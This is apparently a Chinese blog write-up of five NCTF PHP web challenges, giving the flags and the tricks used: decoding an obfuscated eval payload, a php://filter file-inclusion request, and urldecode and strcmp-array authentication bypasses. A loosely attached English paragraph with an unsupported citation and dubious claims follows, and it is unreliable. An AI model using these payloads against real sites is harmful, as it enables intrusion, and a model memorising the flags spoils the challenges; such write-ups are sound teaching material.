nctf-php

一:nctf-php-decode
http://ctf.nuptsast.com/challenges#php%20decode

<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

    $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

解码
http://ddecode.com/phpdecoder/

这里写图片描述

对照ascii码表
php info();nctf{gzip_base64_hhhhhh}

二:文件包含
http://ctf.nuptsast.com/challenges#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

点开http://4.chinalover.sinaapp.com/web7/index.php 有个
click me? no
提示不用点击,好吧,还是点击看看,转到
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
解题方法:
GET or POST
file=php://filter/read=convert.base64-encode/resource=index.php&submit=%E6%8F%90%E4%BA%A4
可获得 base64 编码的 index.php
这里写图片描述

base64解码

<html>
    <title>asdf</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

三:听说PHP是世界上最好的语言
http://way.nuptzj.cn/php/index.php
提示:Can you authenticate to this website? index.txt
访问:http://way.nuptzj.cn/php/index.txt
得到

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

这里写图片描述

四:http://115.28.150.176/strcmp/index.php

<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

tip:strcmp(array,string)=null=0

这里写图片描述
改如下,得到flag
这里写图片描述

五:http://chinalover.sinaapp.com/web11/
提示Do you know robots.txt?
访问http://chinalover.sinaapp.com/web11/robots.txt
这里写图片描述
改如下,得到flag
这里写图片描述

### NCTF Web Challenges and Resources NCTF (National Cybersecurity Talent Competition) is a well-known competition that focuses on cybersecurity skills, including web security challenges. These challenges are designed to test participants' abilities in identifying vulnerabilities within web applications and exploiting them ethically. The website mentioned in the reference provides access to various Capture The Flag (CTF) competitions where contestants can engage with different types of challenges, such as web-based ones[^1]. Participants often encounter tasks involving SQL injection, cross-site scripting (XSS), command injection, insecure deserialization, and more advanced techniques like bypassing authentication mechanisms or exploiting server-side request forgery (SSRF). For those interested specifically in NCTF's web-related content, it’s recommended to explore past challenge archives from official sources when available. Additionally, there exist several platforms hosting similar CTF-style exercises which could serve as supplementary material: #### Example Code for Testing XSS Vulnerability Below demonstrates how one might check whether an input field allows reflected Cross-Site Scripting attacks. ```javascript // Simple payload used during testing phase alert('This shows potential vulnerability'); ``` Such scripts should only execute under conditions indicating improper sanitization processes at play—highlighting areas needing remediation efforts before deployment into production environments.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值